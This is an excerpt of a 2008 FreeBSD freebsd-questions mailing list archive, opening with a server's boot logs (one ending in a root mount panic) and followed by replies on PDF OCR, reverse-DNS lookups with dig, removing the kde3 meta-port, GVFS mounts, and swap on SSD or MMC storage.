supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est0 attach returned 6 p4tcc0: on cpu0 pcib0: pcibus 0 on motherboard pci0: on pcib0 pcib1: irq 15 at device 1.0 on pci0 pci1: on pcib1 em0: port 0xece0-0xecff mem 0xdfbc0000-0xdfbdffff,0xdfbe0000-0xdfbfffff irq 15 at device 0.0 on pci1 em0: Unable to allocate bus resource: interrupt em0: Allocation of PCI resources failed device_attach: em0 attach returned 6 pcib2: irq 15 at device 28.0 on pci0 pci2: on pcib2 em1: port 0xdce0-0xdcff mem 0xdfcc0000-0xdfcdffff,0xdfce0000-0xdfcfffff irq 15 at device 0.0 on pci2 em1: Unable to allocate bus resource: interrupt em1: Allocation of PCI resources failed device_attach: em1 attach returned 6 pcib3: irq 15 at device 28.4 on pci0 pci3: on pcib3 bge0: mem 0xdfdf0000-0xdfdfffff irq 15 at device 0.0 on pci3 bge0: couldn't map interrupt device_attach: bge0 attach returned 6 pcib4: irq 14 at device 28.5 on pci0 pci4: on pcib4 bge1: mem 0xdfef0000-0xdfefffff irq 14 at device 0.0 on pci4 bge1: couldn't map interrupt device_attach: bge1 attach returned 6 uhci0: port 0xbc60-0xbc7f irq 11 at device 29.0 on pci0 uhci0: Could not allocate irq device_attach: uhci0 attach returned 6 uhci1: port 0xbc80-0xbc9f irq 10 at device 29.1 on pci0 uhci1: Could not allocate irq device_attach: uhci1 attach returned 6 uhci2: port 0xbca0-0xbcbf irq 11 at device 29.2 on pci0 uhci2: Could not allocate irq device_attach: uhci2 attach returned 6 ehci0: mem 0xdfaffc00-0xdfafffff irq 11 at device 29.7 on pci0 ehci0: Could not allocate irq device_attach: ehci0 attach returned 6 pcib5: at device 30.0 on pci0 pci5: on pcib5 vgapci0: port 0xcc00-0xccff mem 0xd0000000-0xd7ffffff,0xdfff0000-0xdfffffff irq 5 at device 5.0 on pci5 isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc50-0xbc5f irq 6 at device 31.2 on pci0 atapci0: unable to map interrupt device_attach: atapci0 attach returned 6 orm0: at iomem 0xc0000-0xc8fff,0xc9000-0xc9fff,0xca000-0xcb7ff,0xec000-0xeffff on isa0 atkbdc0: at port 0x60,0x64 on isa0 fdc0: cannot reserve interrupt line ppc0: cannot reserve I/O port range sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0 at port 0x3f8-0x3ff irq 4 flags 0x30 on isa0 sio0: type 16550A, console sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounter "TSC" frequency 3000222630 Hz quality 800 Timecounters tick every 1.000 msec hptrr: no controller detected. Trying to mount root from ufs:/dev/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ? List of GEOM managed disk devices: Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> ufs:/dev/ad4s1a Trying to mount root from ufs:/dev/ad4s1a Manual root filesystem specification: : Mount using filesystem eg. ufs:da0s1a ? List valid disk boot devices Abort manual input mountroot> panic: Root mount failed, startup aborted. cpuid = 0 Uptime: 1s Cannot dump. No dump device defined. Automatic reboot in 15 seconds - press a key on the console to abort --> Press a key on the console to reboot, --> or switch off the system now. Rebooting... ========normal booting after enabling serial (copied from serial console)=============== Copyright (c) 1992-2008 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD is a registered trademark of The FreeBSD Foundation. FreeBSD 7.0-RELEASE #0: Sun Feb 24 10:35:36 UTC 2008 root@driscoll.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC Timecounter "i8254" frequency 1193182 Hz quality 0 CPU: Intel(R) Xeon(R) CPU E3110 @ 3.00GHz (3000.22-MHz K8-class CPU) Origin = "GenuineIntel" Id = 0x10676 Stepping = 6 Features=0xbfebfbff Features2=0x8e3fd> AMD Features=0x20100800 AMD Features2=0x1 Cores per package: 2 usable memory = 2133360640 (2034 MB) avail memory = 2058694656 (1963 MB) ACPI APIC Table: FreeBSD/SMP: Multiprocessor System Detected: 2 CPUs cpu0 (BSP): APIC ID: 0 cpu1 (AP): APIC ID: 1 ioapic0: Changing APIC ID to 2 ioapic0 irqs 0-23 on motherboard kbd1 at kbdmux0 ath_hal: 0.9.20.3 (AR5210, AR5211, AR5212, RF5111, RF5112, RF2413, RF5413) hptrr: HPT RocketRAID controller driver v1.1 (Feb 24 2008 10:34:18) acpi0: on motherboard acpi0: [ITHREAD] acpi0: Power Button (fixed) Timecounter "ACPI-fast" frequency 3579545 Hz quality 1000 acpi_timer0: <24-bit timer at 3.579545MHz> port 0x808-0x80b on acpi0 acpi_hpet0: iomem 0xfed00000-0xfed003ff on acpi0 Timecounter "HPET" frequency 14318180 Hz quality 900 cpu0: on acpi0 est0: on cpu0 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est0 attach returned 6 p4tcc0: on cpu0 cpu1: on acpi0 est1: on cpu1 est: CPU supports Enhanced Speedstep, but is not recognized. est: cpu_vendor GenuineIntel, msr 613091f06000613 device_attach: est1 attach returned 6 p4tcc1: on cpu1 pcib0: port 0xcf8-0xcff on acpi0 pci0: on pcib0 pcib1: irq 16 at device 1.0 on pci0 pci1: on pcib1 em0: port 0xece0-0xecff mem 0xdfbc0000-0xdfbdffff,0xdfbe0000-0xdfbfffff irq 16 at device 0.0 on pci1 em0: Using MSI interrupt em0: Ethernet address: 00:15:17:37:11:06 em0: [FILTER] pcib2: irq 16 at device 28.0 on pci0 pci2: on pcib2 em1: port 0xdce0-0xdcff mem 0xdfcc0000-0xdfcdffff,0xdfce0000-0xdfcfffff irq 16 at device 0.0 on pci2 em1: Using MSI interrupt em1: Ethernet address: 00:15:17:36:19:d4 em1: [FILTER] pcib3: irq 16 at device 28.4 on pci0 pci3: on pcib3 bge0: mem 0xdfdf0000-0xdfdfffff irq 16 at device 0.0 on pci3 miibus0: on bge0 brgphy0: PHY 1 on miibus0 brgphy0: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto bge0: Ethernet address: 00:1e:c9:ff:58:48 bge0: [ITHREAD] pcib4: irq 17 at device 28.5 on pci0 pci4: on pcib4 bge1: mem 0xdfef0000-0xdfefffff irq 17 at device 0.0 on pci4 miibus1: on bge1 brgphy1: PHY 1 on miibus1 brgphy1: 10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, 1000baseT, 1000baseT-FDX, auto bge1: Ethernet address: 00:1e:c9:ff:58:49 bge1: [ITHREAD] uhci0: port 0xbc60-0xbc7f irq 21 at device 29.0 on pci0 uhci0: [GIANT-LOCKED] uhci0: [ITHREAD] usb0: on uhci0 usb0: USB revision 1.0 uhub0: on usb0 uhub0: 2 ports with 2 removable, self powered uhci1: port 0xbc80-0xbc9f irq 20 at device 29.1 on pci0 uhci1: [GIANT-LOCKED] uhci1: [ITHREAD] usb1: on uhci1 usb1: USB revision 1.0 uhub1: on usb1 uhub1: 2 ports with 2 removable, self powered uhci2: port 0xbca0-0xbcbf irq 21 at device 29.2 on pci0 uhci2: [GIANT-LOCKED] uhci2: [ITHREAD] usb2: on uhci2 usb2: USB revision 1.0 uhub2: on usb2 uhub2: 2 ports with 2 removable, self powered ehci0: mem 0xdfaffc00-0xdfafffff irq 21 at device 29.7 on pci0 ehci0: [GIANT-LOCKED] ehci0: [ITHREAD] usb3: EHCI version 1.0 usb3: companion controllers, 2 ports each: usb0 usb1 usb2 usb3: on ehci0 usb3: USB revision 2.0 uhub3: on usb3 uhub3: 6 ports with 6 removable, self powered umass0: on uhub3 uhub4: on uhub3 uhub4: multiple transaction translators uhub4: 4 ports with 4 removable, self powered pcib5: at device 30.0 on pci0 pci5: on pcib5 vgapci0: port 0xcc00-0xccff mem 0xd0000000-0xd7ffffff,0xdfff0000-0xdfffffff irq 19 at device 5.0 on pci5 isab0: at device 31.0 on pci0 isa0: on isab0 atapci0: port 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0xbc50-0xbc5f irq 23 at device 31.2 on pci0 atapci0: [ITHREAD] ata2: on atapci0 ata2: [ITHREAD] ata3: on atapci0 ata3: [ITHREAD] fdc0: port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: does not respond device_attach: fdc0 attach returned 6 sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: configured irq 4 not in bitmap of probed irqs 0 sio0: port may not be enabled sio0: <16550A-compatible COM port> port 0x3f8-0x3ff irq 4 flags 0x30 on acpi0 sio0: type 16550A, console sio0: [FILTER] sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled atkbdc0: port 0x60,0x64 irq 1 on acpi0 atkbd0: irq 1 on atkbdc0 kbd0 at atkbd0 atkbd0: [GIANT-LOCKED] atkbd0: [ITHREAD] fdc0: port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on acpi0 fdc0: does not respond device_attach: fdc0 attach returned 6 sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled orm0: at iomem 0xc0000-0xc8fff,0xc9000-0xc9fff,0xca000-0xcb7ff,0xec000-0xeffff on isa0 ppc0: cannot reserve I/O port range sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> sio1: configured irq 3 not in bitmap of probed irqs 0 sio1: port may not be enabled vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 Timecounters tick every 1.000 msec hptrr: no controller detected. ad4: 76293MB at ata2-master SATA300 SMP: AP CPU #1 Launched! cd0 at umass-sim0 bus 0 target 0 lun 0 cd0: Removable CD-ROM SCSI-0 device cd0: 40.000MB/s transfers cd0: Attempt to query device size failed: NOT READY, Medium not present Trying to mount root from ufs:/dev/ad4s1a Loading configuration files. kernel dumps on /dev/ad4s3b Entropy harvesting: interrupts ethernet point_to_point kickstart. swapon: adding /dev/ad4s3b as swap device Starting file system checks: /dev/ad4s1a: FILE SYSTEM CLEAN; SKIPPING CHECKS /dev/ad4s1a: clean, 12820246 free (58710 frags, 1595192 blocks, 0.4% fragmentation) Setting hostuuid: 44454c4c-3400-1053-8059-b7c04f484831. Setting hostid: 0x0188e958. Mounting local file systems:. Setting hostname: .fastsoft.com. net.inet6.ip6.auto_linklocal: 1 -> 0 bge0: link state changed to DOWN bge0: no link .....bge0: link state changed to UP got link DHCPREQUEST on bge0 to 255.255.255.255 port 67 DHCPACK from 172.16.0.22 bound to 172.16.1.16 -- renewal in 345600 seconds. lo0: flags=8049 metric 0 mtu 16384 inet6 fe80::1%lo0 prefixlen 64 scopeid 0x5 inet6 ::1 prefixlen 128 inet 127.0.0.1 netmask 0xff000000 b bge0: flags=884g3 metric: 0 mtu 1500 op tions=9b etkher 00:1e:c9:ff: 58:48 inet 172s.16.1.16 netmaskt 0xffff0000 broaadcast 172.16.255t.255 media: Etehernet autoselec t (1000baseTX ) shtatus: active aAdditional routinng options:. Stgarting devd. ed to UP hw.acpi.cpu.cx_lowest: C1 sysctl: hw.acpi.cpu.cx_lowest: Invalid argument Additional IP options:. Mounting NFS file systems:. Creating and/or trimming log files:. Starting syslogd. Checking for core dump on /dev/ad4s3b... savecore: no dumps found ELF ldconfig path: /lib /usr/lib /usr/lib/compat 32-bit compatibility ldconfig path: Initial amd64 initialization:. Additional ABI support:. Clearing /tmp (X related). Starting local daemons:. Updating motd. Mounting late file systems:. Configuring syscons: blanktime. Starting sshd. Starting cron. Local package initialization:. Starting background file system checks in 60 seconds. Tue Dec 2 16:58:50 UTC 2008 FreeBSD/amd64 (xxxxx) (ttyd0) login: From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 00:07:46 2008 Return-Path: Delivered-To: freebsd-questions@FreeBSD.ORG Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 16883106564A for ; Wed, 3 Dec 2008 00:07:46 +0000 (UTC) (envelope-from kline@thought.org) Received: from aristotle.thought.org (aristotle.thought.org [209.180.213.210]) by mx1.freebsd.org (Postfix) with ESMTP id C86468FC18 for ; Wed, 3 Dec 2008 00:07:45 +0000 (UTC) (envelope-from kline@thought.org) Received: from thought.org (tao.thought.org [10.47.0.250]) (authenticated bits=0) by aristotle.thought.org (8.14.2/8.14.2) with ESMTP id mB308ETx067784; Tue, 2 Dec 2008 16:08:14 -0800 (PST) (envelope-from kline@thought.org) Received: by thought.org (nbSMTP-1.00) for uid 1002 kline@thought.org; Tue, 2 Dec 2008 16:07:41 -0800 (PST) Date: Tue, 2 Dec 2008 16:07:41 -0800 From: Gary Kline To: Chris Shenton Message-ID: <20081203000741.GC63279@thought.org> References: <20081201231440.GA30682@thought.org> <86ej0qjsb0.fsf@Boqueria.shenton.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <86ej0qjsb0.fsf@Boqueria.shenton.org> User-Agent: Mutt/1.4.2.3i X-Organization: Thought Unlimited. Public service Unix since 1986. X-Of_Interest: With 22 years of service to the Unix community. X-Spam-Status: No, score=-4.4 required=3.6 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.2.3 X-Spam-Checker-Version: SpamAssassin 3.2.3 (2007-08-08) on aristotle.thought.org Cc: FreeBSD Mailing List Subject: Re: any way to turn a pdf file into something OCR-able? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 00:07:46 -0000 On Tue, Dec 02, 2008 at 02:22:27PM -0500, Chris Shenton wrote: > Gary Kline writes: > > > pdftotext fail on the large [32MB] file I've got. Is there any other way I > > can translate this huge textfile to ascii or html or text? > > I wrote some code using Python PDF library 'pypdf' to split a multipage > PDF scan into individual pages, then used the tesseract OCR to convert > to text. Not 100% of course, and it really got confused by pages that > were not right-side-up, but not a bad start for pages that are really > scans -- images -- rather than PDF representation of text. > > Sadly, I haven't gotten it into a suitable state to release. Well, sounds hopeful for when I scan around 200 pages of pre-1923 journal articles. These are in columnal form IIRC correctly. --Be WONDERFUL if there were some kind of hardware top translate Old books and journals automagically. ... . gary -- Gary Kline kline@thought.org http://www.thought.org Public Service Unix http://jottings.thought.org http://transfinite.thought.org Flash: The alpha release of Jottings is available: http://jottings.thought.org/index.php From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 02:30:15 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 4556E106564A for ; Wed, 3 Dec 2008 02:30:15 +0000 (UTC) (envelope-from cswiger@mac.com) Received: from asmtpout018.mac.com (asmtpout018.mac.com [17.148.16.93]) by mx1.freebsd.org (Postfix) with ESMTP id 327D18FC19 for ; Wed, 3 Dec 2008 02:30:14 +0000 (UTC) (envelope-from cswiger@mac.com) MIME-version: 1.0 Content-transfer-encoding: 7BIT Content-type: text/plain; charset=US-ASCII; format=flowed; delsp=yes Received: from cswiger1.apple.com ([17.227.140.124]) by asmtp018.mac.com (Sun Java(tm) System Messaging Server 6.3-7.03 (built Aug 7 2008; 32bit)) with ESMTPSA id <0KBA00H9S4ADV790@asmtp018.mac.com> for freebsd-questions@freebsd.org; Tue, 02 Dec 2008 18:30:14 -0800 (PST) From: Chuck Swiger To: info@ebbehjorth.dk In-reply-to: <88ddca1954c47570bcc42e110f9a40a9.squirrel@86.58.167.132> X-Priority: 3 (Normal) References: <88ddca1954c47570bcc42e110f9a40a9.squirrel@86.58.167.132> Message-id: Date: Tue, 02 Dec 2008 18:30:13 -0800 X-Mailer: Apple Mail (2.929.2) Cc: freebsd-questions@freebsd.org Subject: Re: mx1.freebsd.org X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 02:30:15 -0000 On Dec 1, 2008, at 11:30 PM, Ebbe Hjorth wrote: > My postfix mail servers shows to messages in the queue saying > > (host mx1.FreeBSD.org[69.147.83.52] said: 450 4.7.1 Client host > rejected: > cannot find your hostname, [86.58.167.132] (in reply to RCPT TO > command)) > > But when i do a lookup or a reverse lookup, i find my hostname. > > Does mx1.freebsd.org have an old dns? Dunno, but on my localhost running BIND-9.5.0p2 I see a SERVFAIL: % dig -x 86.58.167.132 ; <<>> DiG 9.5.0-P2 <<>> -x 86.58.167.132 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 51228 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;132.167.58.86.in-addr.arpa. IN PTR ;; Query time: 95 msec ;; SERVER: 127.0.0.1#53(127.0.0.1) ;; WHEN: Tue Dec 2 21:12:14 2008 ;; MSG SIZE rcvd: 44 Checking % dig -x 86.58.167.132 @86.58.155.254 ; <<>> DiG 9.5.0-P2 <<>> -x 86.58.167.132 @86.58.155.254 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22015 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;132.167.58.86.in-addr.arpa. IN PTR ;; ANSWER SECTION: 132.167.58.86.in-addr.arpa. 43200 IN PTR mail01.apz.dk. ;; AUTHORITY SECTION: 167.58.86.in-addr.arpa. 1800 IN NS ns.plushost.dk. 167.58.86.in-addr.arpa. 1800 IN NS ns2.plushost.dk. ;; ADDITIONAL SECTION: ns.plushost.dk. 3600 IN A 86.58.155.254 ns2.plushost.dk. 3600 IN A 86.58.155.253 ;; Query time: 91 msec ;; SERVER: 86.58.155.254#53(86.58.155.254) ;; WHEN: Tue Dec 2 21:12:42 2008 ;; MSG SIZE rcvd: 147 % dig -x 86.58.167.132 @86.58.155.253 ; <<>> DiG 9.5.0-P2 <<>> -x 86.58.167.132 @86.58.155.253 ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 20622 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;132.167.58.86.in-addr.arpa. IN PTR ;; ANSWER SECTION: 132.167.58.86.in-addr.arpa. 43200 IN PTR mail01.apz.dk. ;; Query time: 90 msec ;; SERVER: 86.58.155.253#53(86.58.155.253) ;; WHEN: Tue Dec 2 21:12:47 2008 ;; MSG SIZE rcvd: 71 This second answer is kinda bogus-- no glue records. -- -Chuck From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 03:18:46 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 32ED81065676 for ; Wed, 3 Dec 2008 03:18:46 +0000 (UTC) (envelope-from fbsd06+4I=f88667b1@mlists.homeunix.com) Received: from fallback-in1.mxes.net (fallback-out1.mxes.net [216.86.168.190]) by mx1.freebsd.org (Postfix) with ESMTP id 01CA48FC0A for ; Wed, 3 Dec 2008 03:18:45 +0000 (UTC) (envelope-from fbsd06+4I=f88667b1@mlists.homeunix.com) Received: from mxout-03.mxes.net (mxout-03.mxes.net [216.86.168.178]) by fallback-in1.mxes.net (Postfix) with ESMTP id 7E7D81648E5 for ; Tue, 2 Dec 2008 22:02:59 -0500 (EST) Received: from gumby.homeunix.com (unknown [87.81.140.128]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp.mxes.net (Postfix) with ESMTP id 147C123E3E6 for ; Tue, 2 Dec 2008 22:02:57 -0500 (EST) Date: Wed, 3 Dec 2008 03:02:55 +0000 From: RW To: freebsd-questions@freebsd.org Message-ID: <20081203030255.6afb9d7e@gumby.homeunix.com> In-Reply-To: <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> References: <4934E5DA.6040308@eskk.nu> <200812021335.42120.fbsd.questions@rachie.is-a-geek.net> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Uninstalling kde3 meta-port X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 03:18:46 -0000 On Tue, 2 Dec 2008 13:35:40 +0100 Mel wrote: > On Tuesday 02 December 2008 08:38:02 Leslie Jensen wrote: > > > How would you guys uninstall a meta-port? > > > > I'm considering a move to kde4 but I want a clean install, so I > > want to remove the kde3 meta-port first. > > cd /usr/ports/x11/kde3 > for dep in `make -V RUN_DEPENDS`; do > origin=${dep##*:}; > portname=`make -C ${origin} -V PORTNAME`; > pkg_delete -Xf "^${portname}-[0-9\.,_]+\$"; > done > cd /usr/ports/ports-mgmt/pkg_cutleaves > make install > pkg_cutleaves -xg > > Delete all leaves you are sure you don't need anymore, till no leaves > are left. If I were you I'd skip the loop at the top and just run the pkg_cutleaves command, delete kde3 and work down through the new leaf-dependencies. The loop takes out the first level of kde3 dependencies, saving you a few seconds in pkg_cutleaves, but also deletes x11-toolkits/qt33, which is required by some non-kde apps such as Opera. From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 04:32:18 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id CB3581065673 for ; Wed, 3 Dec 2008 04:32:18 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (muon.cran.org.uk [66.246.138.153]) by mx1.freebsd.org (Postfix) with ESMTP id 9E4CE8FC14 for ; Wed, 3 Dec 2008 04:32:18 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (localhost [127.0.0.1]) by muon.cran.org.uk (Postfix) with ESMTP id F216419067; Tue, 2 Dec 2008 23:32:16 -0500 (EST) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on muon X-Spam-Level: X-Spam-Status: No, score=-2.2 required=8.0 tests=AWL,BAYES_00,RDNS_NONE autolearn=no version=3.2.5 Received: from tau (unknown [66.45.161.67]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by muon.cran.org.uk (Postfix) with ESMTPSA; Tue, 2 Dec 2008 23:32:16 -0500 (EST) Date: Tue, 2 Dec 2008 20:32:07 -0800 From: Bruce Cran To: michael Message-ID: <20081202203207.514033ee@tau> In-Reply-To: <493586D3.6040703@gmail.com> References: <20081121211828.GA9493@kokopelli.hydra> <20081202162808.GA5851@kokopelli.hydra> <493586D3.6040703@gmail.com> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.14.4; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: Bob McConnell , freebsd-questions@freebsd.org Subject: Re: FreeBSD and hardware?? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 04:32:18 -0000 On Tue, 02 Dec 2008 14:04:51 -0500 michael wrote: > Bob McConnell wrote: > > 2. Do an SMB mount of remote directories onto the desktop or your > > home directory. Open any application and access files in that > > directory as easily as when they are on the local drive. [...] > also, my vlc sees any mounted drive or directory, no matter the > protocol. so does mplayer, etc. i don't know why your system doesn't > operate correctly, but i don't have that issue at all. > e,g: > /mnt/Azureus Downloads > this mount is mounted over samba from a computer on the other side of > the house, and i see everything on it and play my files over the > network. But it doesn't work if you use "Places -> Connect to Server" - the share appears on the Desktop as though it's mounted, but you have to realise that it's actually a GVFS mount, not a kernel-level mount. So only Gnome applications which know about GVFS are able to see the files. -- Bruce Cran From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 04:43:34 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 2F3321065670 for ; Wed, 3 Dec 2008 04:43:34 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (muon.cran.org.uk [66.246.138.153]) by mx1.freebsd.org (Postfix) with ESMTP id E46D98FC08 for ; Wed, 3 Dec 2008 04:43:33 +0000 (UTC) (envelope-from bruce@cran.org.uk) Received: from muon.cran.org.uk (localhost [127.0.0.1]) by muon.cran.org.uk (Postfix) with ESMTP id 735A119067; Tue, 2 Dec 2008 23:43:32 -0500 (EST) X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on muon X-Spam-Level: X-Spam-Status: No, score=-2.2 required=8.0 tests=AWL,BAYES_00,RDNS_NONE autolearn=no version=3.2.5 Received: from tau (unknown [66.45.161.67]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by muon.cran.org.uk (Postfix) with ESMTPSA; Tue, 2 Dec 2008 23:43:32 -0500 (EST) Date: Tue, 2 Dec 2008 20:43:26 -0800 From: Bruce Cran To: RW Message-ID: <20081202204326.665bba28@tau> In-Reply-To: <20081202224640.4203c195@gumby.homeunix.com> References: <189164649-1228250848-cardhu_decombobulator_blackberry.rim.net-2111088666-@bxe1001.bisx.prodap.on.blackberry> <20081202224640.4203c195@gumby.homeunix.com> X-Mailer: Claws Mail 3.5.0 (GTK+ 2.14.4; i486-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: Swapping to MMC (Was: To swap or not to swap) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 03 Dec 2008 04:43:34 -0000 On Tue, 2 Dec 2008 22:46:40 +0000 RW wrote: > On Tue, 2 Dec 2008 20:47:26 +0000 > "Anthony M. Rasat" wrote: > > > > Pros: 1) System requires swap. Period. 2) Swap may need size in > > range between 2.17 times to 2.22 time or whatever size it need. > > This is not prohibited by Eee's SSD size (4GB btw, 701 series). > > Add what swap you need, but in my experience things get pretty slow > before you even reach 1x system memory on hard disks. AFAIK the 2x > figure is to do with saving kernel dumps, which you probably don't > want to bother with. > > > > > Cons: 1) Since SSD is manufactured have limited lifetime (around > > 100,000 times write operation or so, I read it somewhere), swapping > > to SSD is more likely not a wise thing to do. > > I don't think it's much of a problem with modern wear-levelling. > It's 100,000 writes per block with the writes being spread evenly over > the device (albeit with extra write for the wear-levelling). > > There are few writes to swap until you run low on memory, so simply > having swap wont by itself wear out the device. > > > Two against one. I concurr that swap is needed. However since SSD in > > 701 series is not removable, having a bad sector in SSD is one thing > > you don't want to have. > > I would think they have spare sectors like hard disks do. > > > > performances? And what happened if FreeBSD kernel suddenly lose its > > swap file by absent-minded human? Is it going to be just angry or > > having massive heart attack? > > > I'm not sure whether an active swap file can be deleted or not, but it > would be owned by root, so not deletable by a normal user. I suspect > that it would behave like an open file and not be genuinely deleted > until swapoff'ed. In any case it's not more of a risk than deleting > any critical file. I suspect it was more a worry about someone pulling the MMC card out of the slot; in that case I think FreeBSD would panic rather quickly! Another thing to consider is that the bus the MMC sits on is probably somewhat slower than the bus the SSD is on, so any swapping is going to slow the system down even more than usual. -- Bruce Cran From owner-freebsd-questions@FreeBSD.ORG Wed Dec 3 05:09:19 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id B6501106564A for ; Wed, 3 Dec 2008 05:09:19 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from mail.cs.ait.ac.th (mail.cs.ait.ac.th [192.41.170.16]) by mx1.freebsd.org (Postfix) with ESMTP id 3986E8FC08 for ; Wed, 3 Dec 2008 05:09:15 +0000 (UTC) (envelope-from on@cs.ait.ac.th) Received: from banyan.cs.ait.ac.th (banyan.cs.ait.ac.th [192.41.170.5]) by mail.cs.ait.ac.th (8.13.1/8.13.1) with ESMTP id mB357B2s080628 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 3 Dec 2008 12:07:11 +0700 (ICT) (envelope-from on@banyan.cs.ait.ac.th) Received: (from on@localhost) by banyan.cs.ait.ac.th (8.14.2/8.12.11) id mB358SUx095910; Wed, 3 